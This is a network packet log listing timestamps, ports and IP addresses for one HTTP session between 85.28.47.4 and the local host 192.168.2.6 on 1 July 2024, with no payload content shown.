Jul 1, 2024 07:20:42.289354086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289370060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289371967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289390087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289397955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289406061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289417028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289422035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289446115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289449930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289464951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289474964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289479017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289494991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289509058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289522886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289534092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289551020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289551973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289551973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289577961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289585114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289591074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289618969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289628029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289653063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289665937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289705038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289716959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289741039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289746046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289776087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289782047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289809942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289815903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289843082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289848089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289890051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289895058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289928913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.289936066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289968014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.289984941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290024996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290025949 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290065050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290075064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290113926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290127993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290160894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290174961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290195942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290204048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290230989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290235043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290262938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290265083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290296078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290296078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290328979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290339947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290361881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290363073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290400028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290402889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290432930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290436983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290467978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290473938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290501118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290507078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290535927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290539980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290570021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290574074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290605068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290606022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290637016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290640116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290676117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290680885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290710926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290719986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290750980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290787935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290821075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290827990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290854931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290858984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290889025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290894032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290923119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290934086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290949106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290962934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290975094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.290986061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.290992022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.291003942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.291011095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.291021109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.291032076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.291035891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.291045904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.291052103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.291064024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.291068077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.291084051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.291085958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.291100025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.291105986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.291115046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.291131973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.291137934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.291156054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.291179895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299446106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299494028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299509048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299535036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299551964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299556971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299573898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299597025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299597979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299613953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299622059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299629927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299643040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299648046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299665928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299685955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299702883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299715996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299730062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299741983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299756050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299767971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299772024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299784899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299802065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299818039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299865961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299880981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299895048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299897909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299916029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299920082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299935102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299936056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299952984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299953938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.299972057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.299987078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300080061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300093889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300107956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300116062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300126076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300131083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300142050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300151110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300167084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300184965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300208092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300224066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300240993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300245047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300263882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300280094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300342083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300358057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300379038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300395966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300421000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300437927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.300457001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.300470114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371390104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371481895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371504068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371540070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371540070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371577024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371587038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371613026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371620893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371648073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371658087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371691942 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371701956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371737003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371746063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371773005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371778965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371808052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371824980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371841908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371850014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371876955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371886969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371911049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371921062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371951103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.371951103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.371997118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.381870985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.381980896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382025003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382034063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382040024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382076025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382083893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382126093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382138968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382179976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382188082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382222891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382232904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382256031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382263899 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382297039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382303953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382348061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382356882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382390976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382400990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382426023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382446051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382462025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382473946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382504940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382514000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382550001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382559061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382584095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382589102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382618904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382627964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382661104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382662058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382704020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382714033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382747889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382757902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382788897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382788897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382833958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382842064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382877111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382884979 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382910967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382922888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382952929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.382962942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.382997036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383008003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383030891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383037090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383074999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383083105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383116961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383127928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383150101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383163929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383186102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383193970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383217096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383234024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383259058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383270025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383315086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383322001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383356094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383366108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383393049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383397102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383429050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383436918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383464098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383470058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383497000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383501053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383533001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383539915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383567095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383574009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383601904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383610010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383635998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383640051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383678913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383687973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383718967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383732080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383760929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383770943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383806944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383831024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383840084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383845091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383876085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383883953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383910894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383919954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383945942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383955956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.383981943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.383989096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384016991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384023905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384052038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384058952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384089947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384094000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384124994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384129047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384170055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384174109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384205103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384213924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384239912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384241104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384275913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384284973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384310007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384320021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384345055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384352922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384381056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384392023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384417057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384426117 CEST	49711	80	192.168.2.6	85.28.47.4
